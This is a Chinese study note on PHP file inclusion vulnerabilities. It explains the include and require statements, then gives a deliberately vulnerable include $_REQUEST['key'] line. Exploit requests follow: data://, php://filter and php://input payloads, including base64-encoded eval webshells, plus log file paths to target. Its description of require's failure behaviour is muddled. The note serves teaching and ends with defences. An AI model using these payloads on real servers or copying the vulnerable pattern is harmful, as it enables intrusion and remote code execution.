【笔记】PHP的文件包含漏洞

前言

PHP的文件包含漏洞

文件包含语句

include

  • 可以包含相同文件多次
  • 当引入失败后,后面的代码能正常执行

<file_php>:其他php文件

1
include "<file_php>";
1
include("<file_php>");

include_once

  • 如果包含相同文件多次,只有第一次生效
  • 当引入失败后,后面的代码能正常执行
1
include_once "<file_php>";
1
include_once("<file_php>");

require

  • 可以包含相同文件多次
  • 当引入失败后,不会结束脚本运行,只是产生警告,后面的代码不能正常执行
1
require "<file_php>";
1
require("<file_php>");

require_once

  • 如果包含相同文件多次,只有第一次生效
  • 当引入失败后,直接结束脚本运行,后面的代码不能正常执行
1
require_once "<file_php>";
1
require_once("<file_php>");

包含漏洞的文件包含语句

1
include $_REQUEST['key'];

漏洞利用

通过文件路径读取文件

request
1
GET http://127.0.0.1:80/index.php?key=<file>
日志文件路径 备注
/var/log/apache/access.log Apache访问日志
/var/log/apache/error.log Apache报错日志
/var/log/vsftpd.log FTP服务日志
/var/log/sshd.log SSH服务日志
/var/log/mail 邮件日志

通过HTTP协议读取网页

漏洞利用前提

/etc/php.ini
1
2
allow_url_include=On
allow_url_fopen=On

漏洞利用

request
1
GET http://127.0.0.1:80/index.php?key=http://<domain>

通过file协议读取文件

request
1
GET http://127.0.0.1:80/index.php?key=file://<file>

通过data伪协议读取文件

漏洞利用前提

  • PHP > 5.2
/etc/php.ini
1
2
allow_url_include=On
allow_url_fopen=On

漏洞利用

request
1
GET http://127.0.0.1:80/index.php?key=data://text/plain,<?php echo($_REQUEST["key"]); ?>
request
1
GET http://127.0.0.1:80/index.php?key=data://text/plain;base64,PD9waHAgZWNobygkX1JFUVVFU1RbImtleSJdKTsgPz4=
request
1
GET http://127.0.0.1:80/index.php?key=data:image/gif;base64,R0lGODlhCjw/cGhwIGV2YWwoJF9SRVFVRVNUWyJrZXkiXSk7ID8+Cg==

通过PHP伪协议读取文件

  • 读取Base64编码后的文件内容
request
1
GET http://127.0.0.1:80/index.php?key=php://filter/read=convert.base64-encode/resource=<file>

通过PHP伪协议执行PHP代码

漏洞利用前提

/etc/php.ini
1
allow_url_include=On

漏洞利用

request
1
2
3
4
POST http://127.0.0.1:80/index.php?path=php://input
Content-Type: application/x-www-form-urlencoded

<?php eval($_REQUEST['key']); ?>

防御

  • 合理配置allow_url_includeallow_url_fopen
  • 配置open_basedir
  • 严格过滤.\/

完成

参考文献

哔哩哔哩——千锋教育网络安全学院